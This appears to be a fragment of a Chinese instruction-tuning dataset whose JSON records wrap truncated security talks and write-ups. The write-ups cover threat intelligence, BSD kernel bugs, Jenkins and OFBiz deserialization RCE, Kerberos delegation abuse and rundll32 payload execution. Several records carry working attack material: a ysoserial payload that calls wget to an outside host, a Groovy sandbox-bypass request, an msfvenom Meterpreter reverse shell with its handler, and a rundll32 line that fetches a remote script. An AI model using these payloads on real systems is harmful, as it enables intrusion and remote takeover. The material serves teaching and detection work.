个楼梯的方法数之和

考虑到 dp[i] 只与 dp[i - 1] 和 dp[i - 2] 有关因此可以只用两个变量来存储 dp[i - 1] 和 dp[i - 2]使得原来的 O(N) 空间复杂度优化为 O(1) 复杂度 ```java public in", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n甲方威胁情报杂谈 分享嘉宾 阿里里安全 王伟 alert7 Who am I? Aka alert7 ,Xfocus核心成员 曾McAfee高级研究员 原翰海海源 联合创始人&技术总监 微博 _alert7_ 阿里里安全归零实验室 功夫 议程 甲方威胁情报的尴尬 甲方情报能力力成熟度模型 传统情报体系 情报的一些特性 把威胁情报卖给甲方 甲方威胁情报的尴尬-现状的尴尬 2015年年圈内戏称威胁情报元年年各大 甲方公司纷纷建立威胁情报团队 2017年年年年尾听说好多甲方威胁 情报团队解散 价值衡量量的尴尬 正向业务挣钱的 负向业务花钱的 销售额/ 利利润 装机量量/ 用户数 建立优势 内部保障 风险解决 内需 快速变化风险与能力力产品的尴尬 假如有颗产品的心一开始不不知道如何用产品来做等你知道了了风险开始变小了了 已 经花了了20%的代价把80%的风险都干掉了了风险小了了还要继续产品打造吗 假如快速响应风险人工运营效率在哪里里能力力沉淀在哪里里长远的路路在哪里里 如何平衡 风险 产品 位置的尴尬 工作部分重叠 是否有核心竞争力力 业务团队1 业务团队2 业务团队3 情报团队 定位的尴尬 保镖 商业化 定位 愿景 战略略/打法 项目/抓手 议程 甲方威胁情报的尴尬 甲方情报能力力成熟度模型 传统情报体系 情报的一些特性 把威胁情报卖给甲方 传统威胁情报的成熟度 情报能力力的成熟度 预测 溯源调查 源头识别 影响评估 识别事件确认线索 成熟度传统威胁情报 VS 情报能力力 正向安全与反向安全 正向安全 反向安全 SDL 安全管理理 规范 安全测试 杀病毒 IDS/IPS 反APT产 品 防火墙 漏漏扫 反向安全的终极问题 能否发现攻击和风险 能否快速止血 能否评估影响范围 能否知道是谁人资产等意图是什什么能否预测下一步 他想做啥 检测识别 源头识别 评估影响 快速止血 溯源调查 人资产 手法产业 链 预测 看清大盘 事件 情报线索 甲方要的是真正的情报能力力 议程 甲方威胁情报的尴尬 甲方情报能力力成熟度模型 传统情报体系 情报的一些特性 把威胁情报卖给甲方 情报学 萨尔基斯 情报有机密 性 汉德尔情 报具备对抗 性反情报 也是情报的 组成部分 情报是对组织至关重要 的知识 情报是一种生产知识的 组织 情报是组织追求知识的 活动 情报是支撑行行动和决策 的知识 情报是帮助组织获得竞 争优势的 情报可以降低冲突的不不 确定性 谢尔曼-肯特 作为名称情报是知识 作为动词情报基本活动分为收集分析反情报 情报=信息+分析结果 情报分析本质上是一场智力力的游戏 情报本质是用来降低不不确定性的 传统情报工作的要素 情报收集 情报分析 反情报 人 力力 情 报 公 开 信 息 技 术 情 报 翻 译 解 密 关 联 推 导 反 谍 电 子 干 扰 保 密 & 加 密 假 情 报 隐蔽行行动 暴暴 力力 支 援 影 响 声学情报 红外情报 激光情报 核情报 光学情报 雷雷达情报 地理理空间 情报 互联网深 度情报 情报生成的过程 数据 信息 知识 智力力 认 知 判 断 收 集 行行动/决策 分 发 流 转 序 化 破 译 评 估 反 馈 博 大 精 深 反情报 反情报是情报对抗的升级 齐柏 林林计 划 北北方 坚忍 计划 南方 坚忍 计划 水银 计划 霸王计划 诺曼底登陆 加莱 罗匈从法 国抽4个师 挪威瑞典 牵制13个师 微光 计划 牵制第15军 APT中的反情报 DUQU 2.0 嫁祸目标 Ugly.gorilla APT1 Camellia APT1 Romanian.antihacker 罗马尼亚 LZJB 算法 MiniDuke木马 黄牛对抗的反情报 反跟踪反调试 举报同行行 情报收集-看NSA的天罗地网 棱镜 主干道 码头 核子 TAO 从线下的情报能力力到线上的情报能力力 从点的情报能力力到网的情报能力力 一体化的情报收集到情报行行动能力力 情报收集-看NSA的天罗地网 通讯基本靠吼 交通基本靠毛驴 情报分析-川普24小时夺旗战 跟纽约博物馆合作 好莱坞演员 Shia LaBeouf 新墨墨西哥州的一个剧院外 秘密据点 anti-trump新项目HE WILL NOT DIVIDE US 情报分析-川普24小时夺旗战 匿匿名论坛4chan 支持川普 技术宅者如何能忍 2 日落时间+天气变化 1 看风力力和实时气象风力力初步判断是五大 湖区域百公里里级别 3 社交网络情报 - 餐馆在美国田纳西州 的Greeneville. 城市级别 情报分析-川普24小时夺旗战 4 飞机-三角定位10公里里级别 5 汽车按喇喇叭 情报分析-川普24小时夺旗战 6 星轨 1公里里级别 情报分析-川普24小时夺旗战 7 Bin", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Jenkins Common Bugs ## Introduction What would you do if you came across a website that uses Jenkins? ## How to Detect Usually in the HTTP response there is a header like this `X-Jenkins` 1. Find the related CVE by checking jenkins version * How to find the jenkins version By checking the response header `X-Jenkins`, sometimes the version is printed there. If you found outdated jenkins version, find the exploit at [pwn_jenkins](https://github.com/gquere/pwn_jenkins) Some example CVE: - Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older) Use [ysoserial](https://github.com/frohoff/ysoserial) to generate a payload. Then RCE using [this script](./rce/jenkins_rce_cve-2015-8103_deser.py): ```bash java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out ./jenkins_rce.py jenkins_ip jenkins_port payload.out ``` - Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1) Details [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html). If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable: ```bash curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a ``` Alternative RCE with Overall/Read and Job/Configure permissions [here](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc). - CheckScript RCE in Jenkins (CVE-2019-1003030) How to Exploit: - [PacketStorm](https://packetstormsecurity.com/files/159603/Jenkins-2.63-Sandbox-Bypass.html) ``` GET /jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x { public x(){ \"ping -c 1 xx.xx.xx.xx\".execute() } } HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAre all BSDs created equally? A survey of BSD kernel vulnerabili9es.; ! ! ! Ilja!van!Sprundel!! Who Am I; Ilja!van!Sprundel!! ivansprundel@ioac4ve.com! Director!of!Penetra4on!Tes4ng!at!IOAc4ve!! Pen!test! Code!review! Break!stuff!for!fun!and!profit!J!! Outline/Agenda ; Intro! Data!! vulnerabili4es!over!the!years! Test!by!audit! Common!aJack!surface!! Somewhat!less!common!aJack!surface!! Some!results!/!conclusions!! What is this talk about? ; BSD!kernel!vulnerabili4es!! Comparison!! Between!different!BSD!flavors!! Audience!! Low!level!security!enthusiasts!! UNIX/BSD!geeks!! I!suspect!Linux!folks!might!enjoy!this!too!! Curious!people!that!like!to!poke!around!in!OS!internals! Knowledge!! Some!basic!knowledge!of!UNIX!/!BSD!internals!!! Standing on the shoulders of giants; Previous!interes4ng!BSD!kernel!security! research!by:!! Silvio!! the!noir! Esa!Etelavuori! Patroklos!(argp)!Argyroudis! Christer!Oberg!! Joel!Erikkson!! Clement!Lecigne! intro; Really? Got Data?; Somehow!that!statement!has!always! been!stuck!in!my!head!! Is!it!true?!! Can!we!look!at!some!data!?!! Source: hFps://www.cvedetails.com/product/47/Linux-Linux-Kernel.html; Data! ; Goes!from!current!back!to!1999!for!Linux!kernel!vulnerabili4es!! Cvedetails.com!doesnt!seem!to!provide!data!for!OBSD/NBSD/FBSD!! Manually!grab!it!from!! hJps://www.freebsd.org/security/advisories.html! hJp://netbsd.org/support/security/advisory.html! hJps://www.openbsd.org/errata*.html! BSD kernel vulnerabili9es over the years ; Looking!at!these!numbers,!that!was!an!astute! observa4on!by!Theo.!! 20!was!a!very!low!es4mate!! But!are!these!numbers!on!equal!foo4ng?!! Many!eyeballs?!! Yea,!yea,!I!know!.!But!is!there!some!truth!to!it!in!this! case?!!! FreeBSD! NetBSD! OpenBSD! 1999! 3! 8!XXXTODO! 2000! 8! 4!XXXTODO! 2001! 6! 7!XXXTODO! 2002! 11! 6!XXXTODO! 2003! 7! 3!XXXTODO! 2004! 8! 5!XXXTODO! 2005! 11! 8!XXXTODO! 2006! 9! 15!XXXTODO! 2007! 1! 4!XXXTODO! 2008! 8! 6!XXXTOD", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n起因 昨天在微信群看到个链接 搜了下发现是铁威马的NAS文章没写解密过程今天闲来无事就分析了下 0x00 简析结构 铁威马的NAS系统的UI使用PHP开发且文件为加密状态解压打开后发现加载了 php_terra_master.so 文件丢到 IDA 里发现是魔改的 phpscrew 加密 网上找了几篇解密的文章发现都不成功怀疑密钥被更改 0X01 找密钥 由于 phpscrew 魔改版会把 md5 加密后的秘钥的前16位写入被加密的文件所以对历史版本的PHP文 件和新的文件进行对比对比后发现密钥确实被修改 然后下载了历史版本 4.1.27 和 4.2.28 的版本发现关键库文件被修改过 用 Bindiff 打开这两个文件发现新版的文件添加了几个函数 进一步分析发现TOS为了兼容老版本将老版本的加密算法移入了 oldyek 函数 新版的算法改为用 yek 函数从 CAONIM 这个对国人亲切且友好的问候的字符串中取特定位组合为密钥 的方式 其中 CAONIM 字符串为硬编码的 It's0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3secretIt' s0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3secret 简单撸了个 python 算了下密钥 tos_str=\"It's0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3s ecretIt's0not2easy3to4develop6software,5please7don't9crack8it6please9keep7it3secre t\" \"\"\" __int64 __fastcall yek(__int64 a1) { __int64 result; // rax char v2; // cl for ( result = 0LL; result != 32; ++result ) { if ( (result & 1) != 0 ) v2 = CAONIM[2 * result]; else v2 = CAONIM[result]; *(_BYTE *)(a1 + result) = v2; } return result; } I''o0aot2eaoyota45eaedot6aoitlae \"\"\" final=\"\" 得到密钥 I''o0aot2eaoyota45eaedot6aoitlae 找个在线加密的站加密这个字符串后取前16位发现 确实为新的密钥 for i in range(32): if i&1 !=0: key_str=tos_str[2*i] else: key_str=tos_str[i] final=final+key_str print(final) 0x02 解密 有了密钥后在网上检索了下前人的痕迹发现老外写过解密脚本 https://gist.github.com/thatsn0tmysite/c20602289d2cdc9ab7484851eefd92ba 替换密钥进行测试解密 随后对整个网站进行解密后就可以分析了 参考链接 1. https://github.com//del-xiong/screw-plus 2. http://xibai.xyz/2022/02/24/%E9%93%81%E5%A8%81%E9%A9%ACF2-420-4-1-27%E5%9B%BA%E4%B B%B6%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/ 3. https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/ 4. https://gist.github.com/thatsn0tmysite/c20602289d2cdc9ab7484851eefd92ba 5. https://mp.weixin.qq.com/s/RQAbJS9tv7569zOBczqI8g", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Apache OfBiz 反序列化命令执行漏洞CVE-2020-9496 Apache OFBiz是一个非常著名的电子商务平台是一个非常著名的开源项目提供了创建基于最新J2EE/XML规范和技术标准构建大中型企业级跨平台跨数据库跨应用服务器的多层分布式电子商务类WEB应用系统的框架 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等 其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞攻击者利用这个漏洞可以在目标服务器上执行任意命令 参考链接 - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz - https://github.com/dwisiswant0/CVE-2020-9496 - https://www.cnblogs.com/ph4nt0mer/p/13576739.html ## 漏洞环境 执行如下命令启动一个Apache OfBiz 17.12.01版本 ``` docker compose up -d ``` 在等待数分钟后访问`https://your-ip/myportal/control/main`查看到登录页面说明环境已启动成功 ## 漏洞复现 由于默认情况下没有报错信息所以使用[参考连接2](https://github.com/dwisiswant0/CVE-2020-9496)中给出的方法无法正确判断漏洞是否存在还是需要通过执行反序列化来复现漏洞 使用[ysoserial](https://github.com/frohoff/ysoserial)的CommonsBeanutils1来生成Payload ``` java -jar ysoserial.jar CommonsBeanutils1 \"touch /tmp/success\" | base64 | tr -d \"\\n\" ``` ![](1.png) 将base64后的payload替换并发送如下数据包 ``` POST /webtools/control/xmlrpc HTTP/1.1 Host: your-ip Content-Type: application/xml Content-Length: 4093 ProjectDiscovery test [base64-payload] ``` ![](2.png) 进入容器中可见`touch /tmp/success`已成功执行 ![](3.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nIntroduce LLVM from a hacker's view. Loda chou. hlchou@mail2000.com.tw 2012/07/02 1 I am Loda. Work for 豬屎屋 (DeSign House). Be familiar for MS-Windows System and Android/Linux Kernel. Sometimesalso do some software crack job. Like to dig-in new technology and share technical articles to promote to the public. Motto The way of a fool seems right to him ,but a wise man listens to advice. (Proverbs 12:15) Who am I? 2 Created by Vikram Adve and Chris Lattne on 2000 Support different front-end compilers (gcc/clang/....) and different languages (C/C++,Object-C,Fortran,Java ByteCode,Python,ActionScript) to generate BitCode. The core of LLVM is the intermediate representation (IR). Different front-ends would compile source code to SSA-based IR, and traslate the IR into different native code on different platform. Provide RISC-like instructions (load/storeetc), unlimited registers, exception (setjmp/longjmp)..etc Provide LLVM Interpreter and LLVM Compiler to run LLVM application. What is LLVM? 3 Let's enjoy it. 4 Android Dalvik RunTime Dalvik ByteCode Framework in JAR Dalvik ByteCode AP in dex/odex Partial Dalvik AP implemented in Native .so Linux Kernel Java Native Interface Native .so library Dalvik Virtual Machine 5 Per-Process per-VM JDK will compile Java to Suns bytecode, Android would use dx to convert Java bytecode to Dalvik bytecode. Support Portable Interpreter (in C), Fast Interpreter (in Assembly) and Just-In Time Compiler Just-In-Time Compiler is Trace-Run based. By Counter to find the hot-zone Would translate Dalvik bytecode to ARMv32/NEON/Thumb/Thumb2/..etc CPU instructions. The features of Dalvik VM 6 LLVM Interpreter RunTime Native .so library Linux Kernel Running by LLI (Low Level Virtual Machine Interpreter & Dynamic Compiler) LLVM BitCode AP 7 Could run llvm-application as the performance of native application Could generate small size BitCode, translate to target platform assembly code then compiled into native execution file (final si", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2022UIUCTF-Spoink(pebble最新模板注) 写在前 之前周末忙着强杯对这道题只做了半就搁置下来了最后卡在绕过最新pebble模板引擎 RCE那今天抽空来继续进剩下的分析正好题有个在现实场景当中能的trick顺 便也分享了 题环境分析 也是挺不错题直接给了docker环境便于本地搭建同时设置了权限需要执./getflag才能获 取获得flag FROM openjdk:18-slim-bullseye RUN mkdir /usr/src/app WORKDIR /usr/src/app # create user RUN groupadd chalusr RUN useradd -ms /bin/bash -g chalusr chalusr COPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./ COPY spoink/public ./public COPY spoink/templates ./templates COPY getflag ./ RUN chmod 111 ./getflag USER chalusr 路由只有个根据参数x返回指定模板刚看到这的时候其实有点懵毕竟很少见到只给 个路由的代码 不过我很快关注到了个application.properties当中个很有趣的点也就是这没有后缀因 此想到了个录穿越的可能 正 录穿越 CMD [\"java\", \"-jar\", \"/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar\"] @Controller public class HomeController { public HomeController() { } @RequestMapping({\"/\"}) public String getTemplate(@RequestParam(\"x\") Optional template, Model model) { return (String)template.orElse(\"home.pebble\"); } } pebble.prefix = templates pebble.suffix = 为什么我说上那个点很有趣其实就是第个想分享的trick路径穿越简单来说pebble当 中有两个loader个是classpathloader另个是fileloader优先会在classpath下尝试加载模板 件如果寻找不到则使fileloader尝试加载模板件其他调栈不是很重要这就不多提 了 既然想实现任意件读那第个就别想了我们来看第个它在 com.mitchellbosecke.pebble.loader.FileLoader#getFile最终加载模板件内容 可以很明显看到这没有做路径限制导致我们可以进跨录读任意件 结果如下 RCE攻击路径初步构建 因此我们便能成功想到条能RCE的攻击路径 1. 上传带恶意内容的模板件到标服务器 2. 利LFI读取这个模板并RCE 如何上传件上传了如何获取 但是这就遇到第个难点如何上传件这路由当中并没有上传件的功能点 怎么办其实很简单我们也知道我们的Spring MVC框架是围绕DispatcherServlet来设计 的这个Servlet会把请求分发给各个处理器并持可配置的处理器映射视图渲染本地 化时区与主题渲染和 件上传 等功能好了我都圈出来重点了 在这过程当中它会检查这是否是个表单请求 正好我们也知道spring默认使内置的tomcat引擎 在处理表单的内容当中这会调 org.apache.catalina.connector.Request#getParts 去处理解析内容这在之前的章Tomcat件上传流量层系列章当中也提到过遗忘 的可以去我的博客考古 废话不多说类似php的处理样它会先将上传的件保存到个临时录再最终复制到 标件夹临时件夹的获取在哪 在 org.apache.catalina.connector.Request#parseParts 发现是通过 javax.servlet.MultipartConfigElement#getLocation 函数获取到保存到 临时路径 不难看到这是空对吧也就是默认值(默认的话后会存到/tmp录下)顺便多提下哪 可以设置这个location呢 在spring的启动过程当中会根据 spring.servlet.multipart.location 的值设置这个内 容具体可以去参考org.springframework.boot.autoconfigure.web.servlet.MultipartProperties @Configu", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRelatively Easy to Exploit Easily Automated Usually not Monitored Kerberos Kerberos Delegation Focus on High Privileges Malicious JIT Administration Ticket based authentication protocol Domain User AS TGS KDC LSASS (KERBEROS) ST TGT App Server TGT ST Why? An application reusing user credentials Web server accessing a SQL DB How? Request tickets on behalf of the user User1 Web Server SQL Server DC User1 Authentication User1 Ticket Delegated Delegation to any service Kerberos Only (S4U2Proxy) Protocol Transition (S4U2Self + S4U2Proxy) Domain Account or Local System Access NO ACCESS PIVOTING PRIVILEGED PERSISTENCE ACLs CONSTRAINED DELEGATION GPO TAMPERING BUSTED! Pass-The-Hash Pass-The-Ticket BloodHound GoFetch Domain Admin Enterprise Admin Dump NTDS.dit (VSS, DRSUAPI) Detect replication requests from a non-DC machine Golden ticket Detect crafted tickets Skeleton key (or others backdoors) Encryption downgrade Accounts holding permanent high privileges serve as valuable targets for attackers JIT Administration High privileges are required to perform an operation Get the required privileges for a limited amount of time When the time period expires, the high privileges are revoked Reduces the attack surface Get administrative access for a limited time Perform malicious operations Leave no traces behind to avoid detection Delegation scenario AdminSDHolder scenario 1 AdminSDHolder scenario 2 Discretionary Access Control List (DACL) Access control entry (ACE) Object Ownership DACL User SID Security Group SIDs User Rights Access Token Deny ACEs Allow ACEs Inherited Deny ACEs Inherited Allow ACEs LSA Matches SIDs from The access Token with SIDs in the ACEs Add a new machine account Set machine owner to a malicious account Owner can edit the ACL of the object GPO Tampering: Enable accounts to be trusted for delegation DACL Modification: Add GenericAll ACE for malicious_user on new machine Allow delegation to krbtgt Reques", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNSM 101 for ICS About me Chris Sistrunk, PE Electrical Engineer Sr. ICS Security Consultant Control system security assessments ICS Village (DEF CON & RSA Conference) Entergy (11+ years) SCADA Engineer (10 years) Project Robus (ICS Protocol Fuzzing) 30+ implementation vulnerabilities in DNP3 stacks Substation Security Team BSidesJackson What happens when you use nmap or a fuzzer on an ICS? If ICS are so vulnerable, why havent we seen more attacks? We arent looking! Two Key Reasons Intent Visibility Intent Very little ICS targeted attack data Maroochy Shire to Stuxnet to German Steel Plant Why are targeted attacks different? Its a Who not a What Professional, organized, well-funded If you kick them out, they will return Visibility Visibility Public ICS Vulnerabilities Per Year If your ICS gets hacked gadgets water electricity you cant make anymore Now what? More Govt security regulations ICS security still lagging Breaches are inevitable Attacks arent stopping Every sector Including ICS What can we do to get ahead of this??? Network Security Monitoring The collection, analysis, and escalation of indications and warnings to detect and respond to intrusions. NSM is a way to find intruders on your network and do something about them before they damage your enterprise. - The Practice of Network Security Monitoring Network Security Monitoring Invented in 1990, still in use today Cliff Stoll Stalking the Wily Hacker 1988 Todd Herberlein et al. A Network Security Monitor 1990 US Air Force Defense Information Systems Agency Lawrence Livermore National Lab Early 1990s NetRanger RealSecure Snort and many others Late 1990s - early 2000s Formal definition of NSM 2002 Before we start looking We need At least one person (to watch and hunt) The right tools to collect and analyze the data The NSM Cycle Collection Detection Analysis Model for action, based on network-derived data Requires people and process, not just technology Focuses on the adversary, not the vulnerability Me", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n数据安全杂谈 本发表于赛博回忆录 前 随着数据安全提上安全的常家其实可以发现传统的那种堆叠安全设备的防护式是个低效 的不太实的种防护段 所以防护的重发了偏移 个公司的安全建设随着防护的重发偏移从导致安全建设的中也发了偏移 痛 其实个企业在做企业级的安全建设的时候都会存在些相应的痛点问题这些痛点的解决随时随 地都牵涉着个安全团队的安全建设的进度 这样单独总结出来家可能觉得这并不是痛点啊下我就解释下这些痛点 1资源有限 预防性的安全建设资源有限 已经建设的业务投资源有限 已经发布的产品线 资源有限 时间不够 能不 没有负责的业务 2时间不够 业务都完成不了为什么要sdl修漏洞 3能不 缺少安全设计能和优秀的开发员 安全解决案五花没有统的安全架构设计 过多的安全投会影响业务或者安全度过会根本上影响业务 这个或许就是个甲的安全建设过程中临的很多问题那么在这么多的问题下现在的多数甲 的安全模式是什么呢 安全模式 近年其实攻防的热度常催了批很多攻防能极致的程师们当然在个如果有极 致的能并不是不好的证明个的在某个领域的专注程度但是从些我们也可以了解 到现在的多数的安全其实就在这种攻防的体制下进安全建设的流量监控志审计等等设备 攻防模式 攻防模式其实是种消防员的救模式哪有出现灾就去把灭个庞业务体量的安全甲 哪出现了个靶标就去把那个漏洞修掉这种模式有个有利的地是效果很直接感官上很明 显今天发现个危明天打了个补丁但是这种期救的模式会让个安全部陷期的 持久战中有的乐此不疲有的已经身疲惫尤其是红队和蓝队在久的拉锯战中内卷分 严重 事后救型模式 说到底就是渗透测试等这些安全防护的段永远都是在做个事后救的操作可能其中挖掘漏洞的 成果还局限在渗透测试程师的经验和能上所以我们的解决法是什么", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Level18 #### About Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it. To do this level, log in as the level18 account with the password level18. Files for this level can be found in /home/flag18. #### Source code ``` #include #include #include #include #include #include #include struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \\ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \\ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE \"/home/flag18/password\" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, \"r\"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf(\"Unable to read password file %s\\n\", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf(\"logged in successfully (with%s password file)\\n\", fp == NULL ? \"out\" : \"\"); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, \"--> [%s] is unsupported at this current time.\\n\", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, \"unable to set user to '%s' -- not supported.\\n\", user); printf(\"%s\\n\", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, \"d:v\")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, \"w+\"); if(globals.debugfile == NULL) err(1, \"Unable to open %s\", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf(\"Starting up. Verbose level = %d\\n\", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1218-011-win-基于白名单Zipfldr.dll执行Payload ## 来自ATT&CK的描述 Rundll32.exe程序可以调用来执行任意二进制文件攻击者可能会利用此功能来代理执行代码从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具因为正常操作中使用rundll32.exe的Windows会有白名单或误报 Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件.cpl双击.cpl文件也会触发rundll32.exe执行 Rundll32也可用于执行JavaScript等脚本可以使用类似于下面的语法来完成rundll32.exe javascript:\"..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" 这种方法已被恶意软件如Poweliks所使用 ## 测试案例 zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件同样该工具支持WinXP-Win10 全版本zipfldr.dll所在路径已被系统添加PATH环境变量中因此zipfldr.dll命令可识别但由于为dll文件需调用rundll32.exe来执行 补充说明在高版本操作系统中可以通过配置策略对进程命令行参数进行记录日志策略开启方法`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`同样也可以在不同版本操作系统中部署sysmon通过sysmon日志进行监控 Windows 2003 默认位置 C:\\Windows\\System32\\zipfldr.dll C:\\Windows\\SysWOW64\\zipfldr.dll Windows 7 默认位置 C:\\Windows\\System32\\zipfldr.dll C:\\Windows\\SysWOW64\\zipfldr.dll ## 检测日志 windows 安全日志需要自行配置 ## 测试复现 ### 环境准备 攻击机Kali2019 靶机windows server 2012 ### 攻击分析 #### 生成payload.dll ```bash root@12306Br0:~# msfvenom -p windows/meterpreter/reverse_tcp -b '\\x00\\x0b' LHOST=192.168.126.146 LPORT=4444 -f exe > shell.exe ``` #### 执行监听 攻击机,注意配置set AutoRunScript migrate f (AutoRunScript是msf中一个强大的自动化的后渗透工具这里migrate参数是迁移木马到其他进程) ```bash msf5 > use exploits/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/handler) > set lport 4444 lport => 4444 msf5 exploit(multi/handler) > set AutoRunScript migrate f AutoRunScript => migrate f msf5 exploit(multi/handler) > exploit ``` #### 靶机执行payload ```cmd rundll32.exe zipfldr.dll,RouteTheCall .\\shell.exe #shell.exe存放路径下执行 ``` #### 反弹shell ```bash msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Sending stage (180291 bytes) to 192.168.126.156 [*] Meterpreter session 6 opened (192.1", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPage 1 of 1 2003 Airscanner Corp. http://www.Airscanner.com Embedded Reverse Engineering: Cracking Mobile Binaries 1. Overview Reverse-engineering has long been one of the most popular trouble shooting techniques. In fact, long before the first hacker ever laid eyes on a computer screen, technicians, engineers, and even hobbyists were busy tearing apart mechanical devices to see if they could deduce their seemingly magical operations with the hopes of making it work better, or at the very least, hoping they could understanding what made a device tick. Over the years, this concept has been passed on to the computer profession, where the concept of reverse-engineering evolved into one of the most powerful methods of learning available. Ironically, this very useful technique has fallen under attack and is being threatened by various nefarious Acts and policy control groups. If a computer professional has been in the field for any length of time, they have already used reverse-engineering to their benefit. In fact, the open-source community uses reverse-engineering as one of their main tools for learning software and figuring out what a program does, or in some cases, doesn't do. However, there is one major branch of computing that has had little headway in the arena of reverse-engineering. This elusive niche is the PocketPC application. To help fill this gap, and to increase the awareness of PocketPC reverse-engineering, this paper/discussion will provide an overview of what is required, and how one can reverse their PocketPC. The following pages will provide an overview of the PocketPC environment, the tools required to successfully reverse-engineering Windows CE, and the methods by which a person can dig deep inside an application to alter code as they see fit. Note, this article/discussion will skirt the borders of many ethical and moral issues. The Page 2 of 2 2003 Airscanner Corp. http://www.Airscanner.com information in this paper is presented from a researcher", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1505-003-Regeorg-HTTP隧道检测 ## 来自ATT&CK的描述 攻击者可能会通过Web Shell为web服务器创建后门以便实现对系统的持久访问Web Shell是攻击者放置在可公开访问的web服务器上的web脚本以便通过web服务器进入网络Web Shell可以提供一套待执行的函数或是为web服务器所在系统提供命令行界面 除服务器端脚本之外Web Shell可能还有客户端接口程序用于与web服务器通信例如[China Chopper](https://attack.mitre.org/software/S0020)引自Lee 2013 ## ReGeorg简介 reGeorg是reDuh的继承者利用了会话层的socks5协议效率更高结合Proxifier使用Proxifier是一款功能非常强大的socks5客户端可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链 ## 测试案例 reGeorg搭建HTTP隧道和流量分析 ## 检测日志 HTTP_log ## 测试复现 参考测试案例文章链接 ## 测试留痕 kali 在kali上抓包然后访问内网tcpdump抓包分析流量 tcpdump -ieth0 -wkali.pcap 